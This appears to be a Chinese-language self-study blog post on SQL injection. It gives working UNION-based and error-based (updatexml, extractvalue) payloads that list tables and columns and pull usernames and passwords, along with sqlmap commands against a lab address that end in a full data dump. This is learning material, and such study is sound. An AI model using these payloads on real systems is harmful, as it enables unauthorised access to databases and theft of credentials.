前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >自学sql注入(二)

自学sql注入(二)

作者头像
宸寰客
发布2020-07-14 15:36:52
4150
发布2020-07-14 15:36:52
举报
文章被收录于专栏:yuancao博客yuancao博客

这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章

自学sql注入(一)

自学sql注入(三)

基于union查询的注入

1、首先利用数据库自带的表达式获取数据库名

代码语言:javascript
复制
id=-1 union select 1,2,database()

2、再利用表达式爆出表名:

代码语言:javascript
复制
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),database()

3、再利用表达式爆出列名:

代码语言:javascript
复制
id=-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),database()

4、知道表名列名后,就可直接通过数据库查询语句获得想要的信息:

代码语言:javascript
复制
id=-1 union select 1,(select username from users where id=5),(select password from users where id=5)

group_concat用法

直接列出当前所有的表名:

代码语言:javascript
复制
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

列出所有列名

代码语言:javascript
复制
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3#

$id :数字型注入:

代码语言:javascript
复制
 id=1 union select 1,2,3

‘$id’:字符型注入:

代码语言:javascript
复制
id=1' union select 1,2,3#   //  #和-- 都是屏蔽符,在url编码中#为%23,-- (此处有个空格)为--+

字符型除了单引号’之外,还有",’)等等方式

‘%$id%’

搜索型注入:

代码语言:javascript
复制
id=1%' union select 1,2,3#

sqlmap基础使用

需要环境

python2.7

用法

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” (-u主要用于get请求,双引号内是存在注入点的url链接)

跑出当前的库名(库名是testa)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” --current-db

跑出当前库的所有表名(表名是tabb)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” --tables

跑出当前表的列名(列名有id,username,password)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” --columns

跑出当前表列名对应的值

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” -C “id,username,password” --dump

在用户sqlmap文件夹内也能看到输出的值

基于报错的注入

以下3个函数能引起数据库的报错,我们可以构造语句使关键信息出现在报错的内容中

代码语言:javascript
复制
updatexml()
代码语言:javascript
复制
extractvalue()
代码语言:javascript
复制
floor()

updatexml(1,2,3),是从一个xml文档里面寻找值并替换,1是寻找的目标,2是文档中的路径,3是用来替换的值。

报错原理是如果不存在文档的路径,那么就会把路径的信息显示到报错文本中

代码语言:javascript
复制
payload:updatexml(1,concat(0x7e,database(),0x7e),1)

0x7e是~的16进制,这样做一是为了方便看,二是防止报错内容吞掉部分路径信息,保持信息输出的完整性

extractvalue(1,2)跟updatexml的用法相似,唯一的区别就是没有替换功能,其他都一样的。

extractvalue(1,concat(0x7e,database(),0x7e))

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-07-12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基于union查询的注入
    • group_concat用法
    • sqlmap基础使用
      • 需要环境
        • 用法
          • 基于报错的注入
          相关产品与服务
          云数据库 SQL Server
          腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档